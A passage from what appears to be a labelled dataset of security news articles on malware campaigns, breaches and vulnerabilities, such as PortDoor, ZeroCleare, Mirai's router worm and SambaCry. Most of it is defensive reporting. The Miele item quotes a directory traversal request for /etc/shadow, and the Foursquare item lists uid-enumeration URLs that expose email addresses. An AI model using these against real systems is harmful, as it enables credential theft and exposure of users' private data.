Cybersecurity company FireEye was successfully breached using a malware-infected update to SolarWinds Orion.
An additional malware, dubbed Supernova, also used the SolarWinds Orion product as its delivery method but was likely developed and used by a different threat actor.
Software AG
The second-largest software vendor in Germany and the seventh-largest in Europe, Software AG was reportedly hit by a Clop ransomware attack in October 2020. It was reported that the cyber-criminal gang had demanded a $23 million ransom.
Sopra Steria
Sopra Steria is a European information technology firm with 46,000 employees in 25 countries, providing a large array of IT services, including consulting, systems integration, and software development. In October 2020, Sopra Steria was attacked by what turned out to be a new version of the Ryuk ransomware, previously unknown to antivirus software providers and security agencies.
Telegram
Hackers with access to the system used for connecting mobile networks across the world were able to gain access to Telegram messenger and email data of high-profile individuals in the cryptocurrency business. In what is believed to be a targeted attack, the hackers were after two-factor authentication (2FA) login codes delivered over the short messaging system of the victim's mobile phone provider.
What To Expect in 2021
It will be quite interesting to hear Cynet's perspective on what will unfold over the coming year. Ransomware shows no sign of abating, and attacks on third-party suppliers to gain access to their clients' environments will undoubtedly continue. A large remote workforce likely opens companies up to traditional social engineering attacks as well.
In terms of defensive actions, third party risk management will certainly be top of mind following the SolarWinds fiasco. Remote endpoints and remote workers will need to be better protected.
Automated response systems will certainly gain traction as reaction times to things like ransomware must accelerate to machine speed to prevent infections from propagating across the environment and locking up critical system assets. We're certainly in for a bumpy ride ahead. Look to cybersecurity experts steeped in protecting client organizations for insights and advice moving forward.
Register for this live webinar here

",Cyber_Attack
New Chinese Malware Targeted Russia's Largest Nuclear Submarine Designer,https://thehackernews.com/2021/05/new-chinese-malware-targeted-russias.html,"A threat actor believed to be working on behalf of Chinese state-sponsored interests was recently observed targeting a Russia-based defense contractor involved in designing nuclear submarines for the naval arm of the Russian Armed Forces.
The phishing attack, which singled out a general director working at the Rubin Design Bureau, leveraged the infamous ""Royal Road"" Rich Text Format (RTF) weaponizer to deliver a previously undocumented Windows backdoor dubbed ""PortDoor,"" according to Cybereason's Nocturnus threat intelligence team.
""Portdoor has multiple functionalities, including the ability to do reconnaissance, target profiling, delivery of additional payloads, privilege escalation, process manipulation static detection antivirus evasion, one-byte XOR encryption, AES-encrypted data exfiltration and more,"" the researchers said in a write-up on Friday.
Rubin Design Bureau is a submarine design center located in Saint Petersburg, accounting for the design of over 85% of submarines in the Soviet and Russian Navy since its origins in 1901, including several generations of strategic missile cruiser submarines.
Content of the weaponized RTF document
Over the years, Royal Road has earned its place as a tool of choice among an array of Chinese threat actors such as Goblin Panda, Rancor Group, TA428, Tick, and Tonto Team. Known for exploiting multiple flaws in Microsoft's Equation Editor (CVE-2017-11882, CVE-2018-0798, and CVE-2018-0802) as far back as late 2018, the attacks take the form of targeted spear-phishing campaigns that utilize malicious RTF documents to deliver custom malware to unsuspecting high-value targets.
This newly discovered attack is no different, with the adversary using a spear-phishing email addressed to the submarine design firm as an initial infection vector. While previous versions of Royal Road were found to drop encoded payloads by the name of ""8.t,"" the email comes embedded with a malware-laced document, which, when opened, delivers an encoded file called ""e.o"" to fetch the PortDoor implant, implying a new variant of the weaponizer in use.
Said to be engineered with obfuscation and persistence in mind, PortDoor runs the backdoor gamut with a wide range of features that allow it to profile the victim machine, escalate privileges, download and execute arbitrary payloads received from an attacker-controlled server, and export the results back to the server.
""The infection vector, social engineering style, use of RoyalRoad against similar targets, and other similarities between the newly discovered backdoor sample and other known Chinese APT malware all bear the hallmarks of a threat actor operating on behalf of Chinese state-sponsored interests,"" the researchers said.

",Cyber_Attack
ZeroCleare: New Iranian Data Wiper Malware Targeting Energy Sector,https://thehackernews.com/2019/12/zerocleare-data-wiper-malware.html,"Cybersecurity researchers have uncovered a new, previously undiscovered destructive data-wiping malware that is being used by state-sponsored hackers in the wild to target energy and industrial organizations in the Middle East.

Dubbed ZeroCleare, the data wiper malware has been linked to not one but two Iranian state-sponsored hacking groups—APT34, also known as ITG13 and Oilrig, and Hive0081, also known as xHunt.

A team of researchers at IBM who discovered the ZeroCleare malware says that the new wiper malware shares some high-level similarities with the infamous Shamoon, one of the most destructive malware families known for damaging 30,000 computers at Saudi Arabia's largest oil producer in 2012.

Just like the Shamoon wiper malware, ZeroCleare also uses a legitimate hard disk driver called 'RawDisk by ElDos' to overwrite the master boot record (MBR) and disk partitions of targeted computers running the Windows operating system.

Though EldoS driver is not signed, the malware still manages to run it by loading a vulnerable but signed Oracle's VirtualBox driver, exploiting it to bypass the signature checking mechanism and load the unsigned EldoS driver.

""To gain access to the device's core, ZeroCleare used an intentionally vulnerable [but signed VBoxDrv] driver and malicious PowerShell/Batch scripts to bypass Windows controls,"" the researchers said.


To deploy the Zerocleare malware on as many computers in an organization as possible, attackers' first attempt to brute force network accounts passwords and then install ASPX web shells, like China Chopper and Tunna, by exploiting a SharePoint vulnerability.

""Adding these living-off-the-land tactics to the scheme, ZeroCleare was spread to numerous devices on the affected network, sowing the seeds of a destructive attack that could affect thousands of devices and cause disruption that could take months to recover from fully,"" the researchers said.

The same threat actors also attempted to install legitimate remote access software called TeamViewer and used an obfuscated version of the Mimikatz credential-stealing tool to steal more network credentials of the compromised servers.

Though researchers haven't disclosed names of any targeted organizations, they did confirm that there are two versions of Zerocleare that have been seen in the wild, one for each Windows architecture (32-bit and 64-bit), but only the 64-bit works.

According to the researchers, the ZeroCleare attacks are not opportunistic and appear to be targeted operations against specific sectors and organizations.

""X-Force IRIS has been following a marked increase in destructive attacks in the past year, having logged a whopping 200 percent increase in the amount of destructive attacks in the past six months,"" the researchers said.

""Looking at the geographical region hit by the ZeroCleare malware, it is not the first time the Middle East has seen destructive attacks target its energy sector.""
",Malware
[Webinar] How Cyber Attack Groups Are Spinning a Larger Ransomware Web,https://thehackernews.com/2021/06/webinar-how-cyber-attack-groups-are.html,"Organizations today already have an overwhelming number of dangers and threats to look out for, from spam to phishing attempts to new infiltration and ransomware tactics. There is no chance to rest, since attack groups are constantly looking for more effective means of infiltrating and infecting systems.
Today, there are hundreds of groups devoted to infiltrating almost every industry, constantly devising more sophisticated methods to attack organizations.
It's even more troubling to note that some groups have started to collaborate, creating complex and stealthy tactics that leave even the best security teams scrambling to respond. Such is the case noted by XDR Provider Cynet, as the company observes in its newest Research Webinar (register here).
Cynet's research team noted that two of the most infamous attack groups – Lunar Spider and Wizard Spider – have started working together to infect organizations with ransomware.
The development is certainly troubling, and the report shows why security teams and professionals must constantly be looking at the whole picture, not just the result of an attack.
Combining attacks for greater impact
Cynet's researchers first noticed something was amiss as they were studying IcedID malware, developed by Lunar Spider. Originally observed in the wild in 2017, IcedID is a banking Trojan that has targeted the financial sectors in both the US and Europe. After it was initially revealed, Lunar Spider shifted IcedID's modus operandi to enable it to deploy additional payloads, such as Cobalt Strike.
The researchers also studied the CONTI ransomware, a relatively new attack approach developed by Wizard Spider that's already in the FBI's crosshairs. This ""ransomware-as-a-service"" (RaaS) has been spotted in the US and Europe and has already wreaked havoc on many organizations and networks.
Cynet first suspected the connection between the two organizations as it was exploring a case of CONTI ransomware that used many familiar tactics, though not ones traditionally deployed by the Wizard Spider group.
During the investigation, the team discovered that CONTI was being deployed through malware campaigns that used IcedID as an initial point of attack. After establishing persistence on targets' devices, IcedID deployed a CONTI ransomware variant to lock the network.
Understanding the risks
The new Cynet Research Webinar will dive deeper into the anatomy of this collaboration to explain why it's so troubling, but also how it can be detected and combatted. The webinar will discuss:
The background of the attack groups. Both Lunar Spider and Wizard Spider are well known and highly dangerous. Their existing malware and other tools are widely popular and present in many notable breaches and attacks. Before exploring their tools, the webinar will break down each group.
The increasing popularity of ransomware attacks. These tactics have become widespread and are expected to cost organizations hundreds of billions of dollars in the next decade. To truly comprehend how to combat this new attack tactic, it's worth establishing how ransomware works, and some common tactics.
The anatomy of a combined IcedID and CONTI attack. The webinar will break down a case study of this new attack tactic. Unlike some other ransomware attacks, this new method uses techniques from both to create persistence, avoid detection, and lock systems before organizations can react. Moreover, they're increasingly using ""double extortion"" methods, which both lock data and threaten leaks if payment isn't received.
You can register to the webinar here.

",Malware
Zero-Day Exploits for Stealing OS X and iOS Passwords,https://thehackernews.com/2015/06/iphone-password-hacking.html,"I think you'll agree with me when I say: Apple devices are often considered to be more safe and secure than other devices that run on platforms like Windows and Android, but a recent study will make you think twice before making this statement.

A group of security researchers have uncovered potentially deadly zero-day vulnerabilities in both iOS and OS X operating systems that could put iPhone/iPad or Mac owners at a high risk of cyber attacks.

Researchers have created and published a malicious app on the App Store that was able to siphon users' personal data from the password storing Keychain in Apple's OS X, as well as steal passwords from iCloud, banking and email accounts.

Dubbed XARA (cross-app resource access), the malware exploit app was able to bypass the OS X sandboxing mechanisms that are supposedly designed to prevent an app from accessing the credentials, contacts, and other important data related to other apps.

The Consequences are Dire!

In their paper, titled ""Unauthorized Cross-App Resource Access on MAC OS X and iOS"" [PDF], the researchers claim that once installed, their app can obtain data from applications such as Dropbox, Facebook and Evernote, along with the popular messaging app WeChat, and even siphon passwords from 1Password.
""The consequences are dire,"" researchers wrote in the paper. ""For example, on the latest Mac OS X 10.10.3, our sandboxed app successfully retrieved from the system's keychain the passwords and secret tokens of iCloud, email and all kinds of social networks...bank and Gmail passwords from Google Chrome.""
The Researchers also noted that the hack attack is only possible when the attributes of the victim's keychain item are predictable. However, most of the services share the same name across Keychain stores.

The Keychain issue stems from its inability to verify which app owns a credential in Keychain, and even the OS doesn't check for any suspicious activity.

Bypassed Apple's App Store Security Checks

The malicious app was also able to bypass the Apple's App store security checks that are designed to ensure one app can not gain access to other apps' data without permission.

However, the more worrisome part regarding the malicious app is that it was approved by Apple for placement in its App Store, which is supposed to be pre-examine by Apple security engineers for potentially malicious apps.

Apple did not immediately respond to a request for comment.

The zero-day flaws discovered by the Indiana University boffins Xing; Xiaolong Bai; XiaoFeng Wang; and Kai Chen joined Tongxin Li, of Peking University, and Xiaojing Liao, of Georgia Institute of Technology, was reported to Apple last October, but the company requested a 6 month period before making it public.

However, according to their paper, the issues persist and millions of Apple users can still be affected by these zero-day flaws.

How to Protect your Devices

A system-wide update to Apple's OS X and iOS is the only way to protect yourself fully against these vulnerabilities, the researchers said. However, we are patiently waiting to hear from Apple that how it's planning to resolve this huge issue.

To protect yourselves against such vulnerabilities, users of all operating system platforms are advised to limit the apps they install on their devices to those that are needed and explicitly trusted.

",Vulnerability
"Earn up to $15,000 for Hacking Microsoft Spartan Browser",https://thehackernews.com/2015/04/microsoft-project-spartan-browser-security.html,"If you're a bug hunter and love playing with codes than you could grab as much as US$15,000 from Microsoft for finding out vulnerabilities in its latest Project Spartan browser.

Yes, $15,000!

It seems like Redmond don't want to take a chance to let hackers and cyber criminals get their hands on the company's latest Windows 10 operating system.

On Wednesday, Microsoft announced that the company will be expanding its bug bounty program ahead of the release of Windows 10, which will include a two-month hunt for vulnerabilities in its new web browser, Project Spartan.

So, it's time for security researchers and hackers to earn extra cash from Microsoft.

For those who are unaware… What's Project Spartan?

Project Spartan is Microsoft's project for its new web browser to replace the oldest Internet Explorer from its Windows operating system.

Though the project is still very much under the developmental stage, Microsoft is making every effort to make Spartan better and better as a browser.

The day Microsoft launched this project till now, the browser has received as much steady stream of improvements as it could give a tough competition to Google's Chrome web browser.

As it is said, the first impression is the last impression. Therefore, the technology giant is offering several payout categories which starts from $500 and ends with the top reaching bug bounty amount of $15,000 (11,000 Euro) for eligible vulnerabilities in Spartan, which includes…

…Remote Code Execution (RCE) bugs, Sandbox Escapes as well as design-level security bugs.

You have time beginning today till June 22, 2015 to submit your bug reports to the company. So don't be late.

Also, those hackers and researchers who submitted vulnerability reports since the beginning of 2015 would also be rewarded if the discovered vulnerabilities meet the eligibility criteria.

This new bug bounty program also offers payouts for vulnerabilities in Microsoft's Azure cloud platform, and Sway Web application tool, Jason Shirk of Microsoft's Security Response Center says in a blog post.

The bug bounty offer for Azure will cover cloud services, virtual machines, Active Directory, storage and much more.

Microsoft is also offering up to $100,000 USD to bypass active mitigations (such as ASLR and DEP) in the company's latest released version of the operating system, and ""a bonus of up to $50,000 USD for actionable defense techniques to the reported bypass,"" Microsoft says.

So play, discover and submit your findings by including all your details in an email to secure@microsoft.com based on the company's requirements on this page.

",Vulnerability
Hackers Exploit BlackBerry Browser Bug !,https://thehackernews.com/2011/03/hackers-exploit-blackberry-browser-bug.html,"Research in Motion has found a security flaw and recommended that user disable JavaScript in browsers on certain phones, threatening the BlackBerry maker's iron-clad reputation for security.

""The issue could result in remote code execution on affected BlackBerry smartphones,"" the Waterloo, Ontario-based company said. ""Successful exploitation of the vulnerability requires the user to browse to a website that the attacker has maliciously designed.""

The flaw is in the WebKit browser that RIM includes in version 6 of its BlackBerry OS.

RIM said hackers can steal data from users' memory cards on some BlackBerry devices. They can also install malware by exploiting the hole, but the company said that even if attacked, the phone's emails and contacts would be safe.

The publicity is particularly bad for the company who stakes its reputation on the security and privacy of its service. RIM, which has been forced to use more third-party software to compete with the flashy features of other platforms, provides more targets to hack.

The vulnerability was discovered at the ""Pwn2Own"" hacking contest last week. Although the contest winners were not allowed to publicize specifics of the vulnerabilities until companies have patched them, it's possible that malware authors are already aware of it.

An iPhone 4 was also hacked during the contest.

The contest could actually help RIM, though, if it drives focus on security. According to the coders who discovered the flaw, RIM's smartphone software doesn't make use of some important security techniques, and the company is heavily reliant on ""security by obscurity,"" the fallible strategy of hiding how software works to keep hackers at bay.

",Malware
Cyber Attack Knocks Nearly a Million Routers Offline,https://thehackernews.com/2016/11/mirai-router-offline.html,"Mirai Botnet is getting stronger and more notorious each day that passes by. The reason: Insecure Internet-of-things Devices.

Last month, the Mirai botnet knocked the entire Internet offline for a few hours, crippling some of the world's biggest and most popular websites.

Now, more than 900,000 broadband routers belonging to Deutsche Telekom users in Germany knocked offline over the weekend following a supposed cyber-attack, affecting the telephony, television, and internet service in the country.

The German Internet Service Provider, Deutsche Telekom, which offers various services to around 20 Million customers, confirmed on Facebook that as many as 900,000 customers suffered internet outages on Sunday and Monday.

Millions of routers are said to have vulnerable to a critical Remote code Execution flaw in routers made by Zyxel and Speedport, wherein Internet port 7547 open to receive commands based on the TR-069 and related TR-064 protocols, which are meant to use by ISPs to manage your devices remotely.

The same vulnerability affects Eir D1000 wireless routers (rebranded Zyxel Modem) deployed by Irish internet service provider Eircom, while there are no signs that these routers are actively exploited.

According to Shodan search, around 41 Million devices leave port 7547 open, while about 5 Million expose TR-064 services to the outside world.

According to an advisory published by the SANS Internet Storm Center, honeypot servers posing as vulnerable routers are receiving exploit code every 5-10 minutes for each target IP.

An intercepted packet showed how a remote code execution flaw in the <NewNTPServer> part of a SOAP request was used to download and execute a file in order to infect the vulnerable device.

Security researchers at BadCyber also analyzed one of the malicious payloads that were delivered during the attacks and discovered that the attack originated from a known Mirai's command-and-control server.
""The unusual application of TR-064 commands to execute code on routers has been described for the very first time at the beginning of November, and a few days later a relevant Metasploit module had appeared,"" BadCyber wrote in a blog post. ""It looks like someone decided to weaponize it and create an Internet worm based on Mirai code.""
It all started early October when a cyber criminal publicly released the source code of Mirai, a piece of nasty IoT malware designed to scan for insecure IoT devices – mostly routers, cameras, and DVRs – and enslaves them into a botnet network, which is then used to launch DDoS attacks.

The hacker created three separate exploit files in order to infect three different architectures: two running different types of MIPS chips and one with ARM silicon.

The malicious payloads open the remote administration interface and then attempt to log in using three different default passwords. After this is done, the exploit then closes port 7547 in order to prevent other attackers from taking control of the infected devices.

""Logins and passwords are obfuscated (or ""encrypted"") in the worm code using the same algorithm as does Mirai,"" the researchers say. ""The C&C server resides under timeserver.host domain name, which can be found on the Mirai tracker list.""

More in-depth technical details about the vulnerability can be found on ISC Sans, Kaspersky Lab, and Reverse Engineering Blog.
Deutsche Telekom has issued an emergency patch for two models of its Speedport broadband routers – Speedport W 921V, Speedport W 723V Type B – and currently rolling out firmware updates.

The company recommends its customers to power down their routers, wait for 30 seconds and then restart their routers in an attempt to fetch the new firmware during the bootup process.

If the router fails to connect to the company's network, users are advised to disconnect their device from the network permanently.

To compensate the downtime, the ISP is also offering free Internet access through mobile devices to the affected customers until the technical problem is resolved.

",Cyber_Attack
How Just Opening A Malicious PowerPoint File Could Compromise Your PC,https://thehackernews.com/2017/08/powerpoint-malware-ms-office.html,"A few months back we reported how opening a simple MS Word file could compromise your computer using a critical vulnerability in Microsoft Office.

The Microsoft Office remote code execution vulnerability (CVE-2017-0199) resided in the Windows Object Linking and Embedding (OLE) interface for which a patch was issued in April this year, but threat actors are still abusing the flaw through the different mediums.

Security researchers have spotted a new malware campaign that is leveraging the same exploit, but for the first time, hidden behind a specially crafted PowerPoint (PPSX) Presentation file.

According to the researchers at Trend Micro, who spotted the malware campaign, the targeted attack starts with a convincing spear-phishing email attachment, purportedly from a cable manufacturing provider and mainly targets companies involved in the electronics manufacturing industry.

Researchers believe this attack involves the use of a sender address disguised as a legitimate email sent by a sales and billing department.

Here's How the Attack Works:

The complete attack scenario is listed below:
Step 1: The attack begins with an email that contains a malicious PowerPoint (PPSX) file in the attachment, pretending to be shipping information about an order request.

Step 2: Once executed, the PPSX file calls an XML file programmed in it to download ""logo.doc"" file from a remote location and runs it via the PowerPoint Show animations feature.

Step 3: The malformed Logo.doc file then triggers the CVE-2017-0199 vulnerability, which downloads and executes RATMAN.exe on the targeted system.

Step 4: RATMAN.exe is a Trojanized version of the Remcos Remote Control tool, which when installed, allows attackers to control infected computers from its command-and-control server remotely.
Remcos is a legitimate and customizable remote access tool that allows users to control their system from anywhere in the world with some capabilities, like a download and execute the command, a keylogger, a screen logger, and recorders for both webcam and microphone.

Since the exploit is used to deliver infected Rich Text File (.RTF) documents, most detection methods for CVE-2017-0199 focuses on the RTF. So, the use of a new PPSX files allows attackers to evade antivirus detection as well.

The easiest way to prevent yourself completely from this attack is to download and apply patches released by Microsoft in April that will address the CVE-2017-0199 vulnerability.

",Cyber_Attack
Lazarus APT Hackers are now using BMP images to hide RAT malware,https://thehackernews.com/2021/04/lazarus-apt-hackers-are-now-using-bmp.html,"A spear-phishing attack operated by a North Korean threat actor targeting its southern counterpart has been found to conceal its malicious code within a bitmap (.BMP) image file to drop a remote access trojan (RAT) capable of stealing sensitive information.
Attributing the attack to the Lazarus Group based on similarities to prior tactics adopted by the adversary, researchers from Malwarebytes said the phishing campaign started by distributing emails laced with a malicious document that it identified on April 13.
""The actor has used a clever method to bypass security mechanisms in which it has embedded its malicious HTA file as a compressed zlib file within a PNG file that then has been decompressed during run time by converting itself to the BMP format,"" Malwarebytes researchers said.
""The dropped payload was a loader that decoded and decrypted the second stage payload into memory. The second stage payload has the capability to receive and execute commands/shellcode as well as perform exfiltration and communications to a command and control server.""
Created on March 31, 2021, the lure document (in Korean) purports to be a participation application form for a fair in one of the South Korean cities and prompts users to enable macros upon opening it for the first time, only to execute the attack code that triggers the infection chain, ultimately dropping an executable called ""AppStore.exe.""
The payload then proceeds to extract an encrypted second-stage payload appended to itself that's decoded and decrypted at run time, followed by establishing communications with a remote server to receive additional commands and transmit the results of those commands back to the server.
""The Lazarus threat actor is one of the most active and sophisticated North Korean threat actors that has targeted several countries including South Korea, the U.S., and Japan in the past couple of years,"" the researchers said. ""Lazarus is known to employ new techniques and custom toolsets in its operations to increase the effectiveness of its attacks.""

",Malware
Internet-Connected Medical Washer-Disinfector Found Vulnerable to Hacking,https://thehackernews.com/2017/03/iot-washer-disinfector.html,"Internet-of-Things devices are turning every industry into the computer industry, making customers think that their lives would be much easier with smart devices.

There are, of course, some really good reasons to connect certain devices to the Internet. For example, remotely switching on your A/C a few minutes before you enter your home, instead of leaving it blasting all day.

But does everything need to be connected?

Of course, not. One such example is the latest bug report at Full Disclosure, affecting an Internet-connected washer-disinfector appliance by Germany-based manufacturer Miele.

The Miele Professional PG 8528 appliance, which is used in medical establishments to clean and properly disinfect laboratory and surgical instruments, is suffering from a Web Server Directory Traversal vulnerability.

Jens Regel of German consultancy Schneider & Wulf has discovered the flaw (CVE-2017-7240) that allows an unauthenticated, remote attacker to access directories other than those needed by a web server.

Once accessed, the attacker can steal sensitive information stored on the server and even insert their own malicious code and tell the web server to execute it.
""The corresponding embedded web server 'PST10 WebServer' typically listens to port 80 and is prone to a directory traversal attack, [and] therefore an unauthenticated attacker may be able to exploit this issue to access sensitive information to aid in subsequent attacks,"" Regel explained.

Proof-of-Concept Exploit Code Released!

Regel also published proof-of-concept (PoC) exploit code for this vulnerability, which means hackers can now exploit the vulnerability before the vendor issue a patch.

The PoC exploit is simple for anyone to run:
GET /../../../../../../../../../../../../etc/shadow HTTP/1.1 to whatever IP the dishwasher has on the LAN.
It's unclear which libraries Miele used to craft the Web server, though, according to Regel, he's able to request the embedded system's shadow file – and by extension any file on the filesystem.

The researcher privately disclosed the vulnerability to Miele in November 2016, but did not hear back from the vendor for more than three months. So, it when a fix can be expected (or if it exists) is still unknown.

Therefore, the best option to keep yourself secure is to disconnect the appliance from the Internet for the time being until the patch is released.

",Vulnerability
Foursquare vulnerability that exposes 45 million users' email addresses,https://thehackernews.com/2014/01/foursquare-vulnerability-that-exposes.html,"A location based Social Networking platform with 45 million users,'Foursquare' was vulnerable to the primary email address disclosed.

Foursquare is a Smartphone application that gives you details of nearby cafes, bars, shops, parks using GPS location and also tells about your friends nearby.

According to a Penetration tester and hacker 'Jamal Eddine', an attacker can extract email addresses of all 45 million users just by using a few lines of scripting tool.

Basically the flaw exists in the Invitation system of the Foursquare app. While testing the app, he found that invitation received on the recipient's end actually disclosing the sender's email address, as shown above.

Invitation URL:
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=64761059&sig=mmlx96RwGrQ2fJAg4OWZhAWnDvc%3D
Where 'uid' parameter represents the sender's profile ID.

Hacker noticed that the parameter in the Invitation URL can be modified in order to spoof the sender profile i.e. Just by modifying the value of 'uid' parameter, one can see the email ID of the respective user.

If someone is a good programmer, then dumping the complete database won't be a difficult task.
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=35
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=60
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=65
https://foursquare.com/mehdi?action=acceptFriendship&expires=1378920415&src=wtbfe&uid=4444
And so forth...
The same question still persist that what can be done if someone knows my name and my email id? Many of us use same mail account on all of the social networking sites i.e. Primary email address, and if your personal email address gets leaked from any of the website, someone can start sending you spam, malware or phishing attempts.

I think you don't want to be phished by any hacking group like Syrian Electronic hacker or this information can easily aid other cyber attacks.

In July, 2013, Similar vulnerability was reported on Facebook, discloses the primary email address of any Facebook user to hackers and spammers.

As a responsible bug hunter, he reported the flaw to Foursquare's Security Team, and they have finally fixed the issue.

",Data_Breaches
Facebook Self-XSS Scam Fools Users into Hacking Themselves,https://thehackernews.com/2014/07/facebook-self-xss-scam-fools-users-into_28.html,"Scammers have again targeted more than one billion active users of the popular social networking giant Facebook, to infect as many victims as possible.

Not by serving fake post, neither by providing malicious video link, instead this time scammers have used a new way of tricking Facebook users into injecting or placing malicious JavaScript or client-side code into their web browsers.

This malicious code could allow an attacker to gain access to victims' accounts, thereby using it for fraud, to send spams, and promoting further attacks by posting the scam on timeline to victims' friends. This technique is known as Self Cross-site Scripting or Self XSS.

Self-XSS (Self Cross-Site Scripting) scam is a combination of social engineering and a browser vulnerability, basically designed to trick Facebook users' into providing access to their account. Once an attacker or scammer gets access to users' Facebook account, they can even post and comment on things on users' behalf.

In order to infect Facebook user, the cyber crooks send a phishing message via an email or a Facebook post from one of the friends in the list of the targeted victim claiming, in this case, a way to hack any Facebook user by following some simple steps.

The posted scam looks as follows:
Hack any Facebook account following these steps:
1. Go to the victim's profile
2. Click right click then click on inspect element and click the ""Console"" tab.
3. Paste the code into the box at the bottom and press Enter.
The code is in the web site: https://textuploader .com****/
Good luck: *
Don't hurt anybody…
They want you to follow the given instructions by copy and pasting the malicious code, as given in the above instructions, for taking over someone else's account. The trick is suitable for both Google Chrome and Mozilla Firefox users.
Once you self inject this malicious script to your account, it will give away the access of your whole account to the one who could do a variety of malicious activities, basically spreading all sorts of malicious campaigns. The hackers can also infect victim's computer with malware that can collect banking details and send them to a remote location controlled by them.
Facebook has also listed the scam on the list of threats its users have been observed to fall victim to. ""Scammers who use Self-XSS usually trick you by promising to help you hack somebody else's account,"" reads the post. ""The scammer's goal is to get you to run their malicious code on your computer. When you run their code, you grant the scammer access to your account for fraud, spam, and tricking more people into running the scam.""
Spotting these scams and reporting them are the best way to protect yourself, but if you fall victim to one of these attacks, don't panic! Follow the link to learn more about protecting your Facebook account.

Facebook is also working with various browser vendors to add protection in the browser in an effort to prevent this vector from being exploited.

",Vulnerability
Hackers Exploit Unpatched Windows XML vulnerability,https://thehackernews.com/2012/06/hackers-exploit-unpatched-windows-xml.html,"Hackers Exploit Unpatched Windows XML vulnerability

An unpatched vulnerability in the Microsoft XML Core Services (MSXML) is being exploited in attacks launched from compromised websites to infect computers with malware. This zero-day exploit that potentially affects all supported versions of Microsoft Windows, and which has been tied to a warning by Google about state-sponsored attacks, has been identified carrying out attacks in Europe.

Microsoft security bulletin MS12-037 was this month's cumulative update for Internet Explorer. It is rated as Critical, and addresses 14 separate vulnerabilities that affect every supported version of Internet Explorer in some way.One vulnerability in particular is more urgent than the rest, though. There are multiple attacks circulating online that target CVE-2012-1875.The name of the vulnerability is ""Same ID Property Remote Code Execution Vulnerability"", which doesn't really explain much.

Until a patch is released, the Microsoft workaround is the only way to stymie hackers. Many security vendors have updated their products to detect malicious code that tries to exploit the vulnerability. Exploit code that works on all versions of Internet Explorer on Windows XP, Vista and 7 has been added to the Metasploit penetration testing framework.

Microsoft has provided a temporary fix for the vulnerability that all Windows users should apply whether or not they use IE as their browser of choice. Most antivirus products have added signatures to detect and block exploits.

In addition, you can also run the Fix-It tool from Microsoft. The automated tool implements measures to block the attack vector used to exploit this vulnerability.

",Vulnerability
New Linux Malware Exploits SambaCry Flaw to Silently Backdoor NAS Devices,https://thehackernews.com/2017/07/linux-malware-sambacry.html,"Remember SambaCry?

Almost two months ago, we reported about a 7-year-old critical remote code execution vulnerability in Samba networking software, allowing a hacker to remotely take full control of a vulnerable Linux and Unix machines.

We dubbed the vulnerability as SambaCry, because of its similarities to the Windows SMB vulnerability exploited by the WannaCry ransomware that wreaked havoc across the world over two months ago.

Despite being patched in late May, the vulnerability is currently being leveraged by a new piece of malware to target the Internet of Things (IoT) devices, particularly Network Attached Storage (NAS) appliances, researchers at Trend Micro warned.

For those unfamiliar: Samba is open-source software (re-implementation of SMB/CIFS networking protocol), which offers Linux/Unix servers with Windows-based file and print services and runs on the majority of operating systems, including Linux, UNIX, IBM System 390, and OpenVMS.

Shortly after the public revelation of its existence, the SambaCry vulnerability (CVE-2017-7494) was exploited mostly to install cryptocurrency mining software—""CPUminer"" that mines ""Monero"" digital currency—on Linux systems.

However, the latest malware campaign involving SambaCry spotted by researchers at Trend Micro in July mostly targets NAS devices used by small and medium-size businesses.

SHELLBIND Malware Exploits SambaCry to Targets NAS Devices

Dubbed SHELLBIND, the malware works on various architectures, including MIPS, ARM and PowerPC, and is delivered as a shared object (.SO) file to Samba public folders and loaded via the SambaCry vulnerability.

Once deployed on the targeted machine, the malware establishes communication with the attackers' command and control (C&C) server located in East Africa, and modifies firewall rules to ensure that it can communicate with its server.

After successfully establishing a connection, the malware grants the attackers access to the infected device and provides them with an open command shell in the device, so that they can issue any number and type of system commands and eventually take control of the device.

In order to find the affected devices that use Samba, attackers can leverage the Shodan search engine and write the original malware files to their public folders.
""It is quite easy to find devices that use Samba in Shodan: searching for port 445 with a 'samba' string will turn up a viable IP list,"" researchers said while explaining the flaw.
""An attacker would then simply need to create a tool that can automatically write malicious files to every IP address on the list. Once they write the files into the public folders, the devices with the SambaCry vulnerability could become ELF_SHELLBIND.A victims.""
However, it is not clear what the attackers do with the compromised devices and what's their actual motive behind compromising the devices.

The SambaCry vulnerability is hell easy to exploit and could be used by remote attackers to upload a shared library to a writable share and then cause the server to load and execute the malicious code.

The maintainers of Samba already patched the issue in Samba versions 4.6.4/4.5.10/4.4.14, so you are advised to patch your systems against the vulnerability as soon as possible.

Just make sure that your system is running updated Samba version.

Also, attackers need to have writable access to a shared location on the target system to deliver the payload, which is another mitigating factor that might lower the rate of infection.

",Malware
Malicious Infrared X-Ray Android app infecting users in Japan,https://thehackernews.com/2013/03/malicious-infrared-x-ray-android-app.html,"Researchers are already warning that malware authors developing more sophisticated attack techniques for mobile devices, using encryption and randomization or hiding malicious code in image files.

As analyzed by Symantec a malicious Infrared X-Ray Android application, attempting to lure Android device owners to download an app that supposedly allows the camera on the device to see through clothes.
This malware app is spreading quickly widely in Japan by sending the spam messages via SMS to phone numbers stored in the device's Contacts, so that the recipients of the spam to be tricked easier because the invitation to download the app is coming from someone they know rather than from an unknown sender.

The app is designed to steals all details in the device's contact list and are uploaded to a predetermined server.

Symantec confirmed that there are several variants of this app exist, ""..the latest variants have added an interesting payload: rather than sending SMS messages to the victim's friends and family, the ultimate goal is to scam the victim with something similar to what is called one-click fraud in Japan"" Hamada said on blog.

Moreover, in order to make it difficult for the victim to uninstall the app, it removes itself from the launcher after it is initially executed, although it can be removed in Applications under Settings.

Researchers suggest to refrain from clicking links found in messages such as emails and SMS messages from unknown senders as well as suspicious messages from known senders.

",Malware
Update your Mac OS X — Apple has released Important Security Updates,https://thehackernews.com/2016/09/apple-mac-os-x-update.html,"If you own a Mac laptop or desktop, you need to update your system right now.

It turns out that the critical zero-day security vulnerabilities disclosed last week, which targeted iPhone and iPad users, affect Mac users as well.

Late last week, Apple rolled out iOS 9.3.5 update to patch a total of three zero-day vulnerabilities that hackers could have used to remotely gain control of an iPhone by simply making the victim click a link.

Dubbed ""Trident,"" the security holes were used to create spyware (surveillance malware) called 'Pegasus' that was apparently used to target human rights activist Ahmed Mansoor in the United Arab Emirates.
